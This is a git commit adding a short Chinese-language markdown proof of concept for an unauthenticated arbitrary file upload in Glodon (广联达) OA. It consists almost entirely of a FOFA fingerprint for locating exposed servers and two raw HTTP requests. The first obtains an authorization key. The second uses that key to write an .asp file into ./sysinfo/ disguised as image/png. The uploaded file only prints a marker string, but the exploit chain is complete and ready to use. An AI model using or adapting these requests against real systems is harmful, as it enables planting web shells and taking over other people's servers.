Create 广联达OA前台任意文件上传.md

广联达OA前台任意文件上传.md

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+## 广联达OA前台任意文件上传
+
+## fofa
+```
+fid="/yV4r5PdARKT4jaqLjJYqw=="
+```
+## 获得key
+```
+POST /Services/FileService/UserFiles/GetAuthorizeKey.ashx HTTP/1.1
+Host: x
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
+Connection: close
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 49
+
+cmd=&destDir=./sysinfo/&destFilename=qrxyrgwa.asp
+```
+
+将获取到的key 放到文件上传包
+## 文件上传
+```
+POST /Services/FileService/UserFiles/UserFilesUpload.ashx HTTP/1.1
+Host: x
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
+Connection: close
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytCOFhbEjc3IfYaY5
+Content-Length: 555
+
+------WebKitFormBoundarytCOFhbEjc3IfYaY5
+Content-Disposition: form-data; name="key"
+
+f3c7e655-9ecf-4e81-a7c1-da2e1172ff7b
+------WebKitFormBoundarytCOFhbEjc3IfYaY5
+Content-Disposition: form-data; name="destDir"
+
+./sysinfo/
+------WebKitFormBoundarytCOFhbEjc3IfYaY5
+Content-Disposition: form-data; name="destFilename"
+
+qrxyrgwa.asp
+------WebKitFormBoundarytCOFhbEjc3IfYaY5
+Content-Disposition: form-data; name="file";filename="qrxyrgwa.asp"
+content-type:image/png
+
+<% response.write("qrxyrgwa")%>
+------WebKitFormBoundarytCOFhbEjc3IfYaY5--
+```
+
+## 漏洞来源
+- https://mp.weixin.qq.com/s/4ri-afLF1knxX3IDV0hKjw
+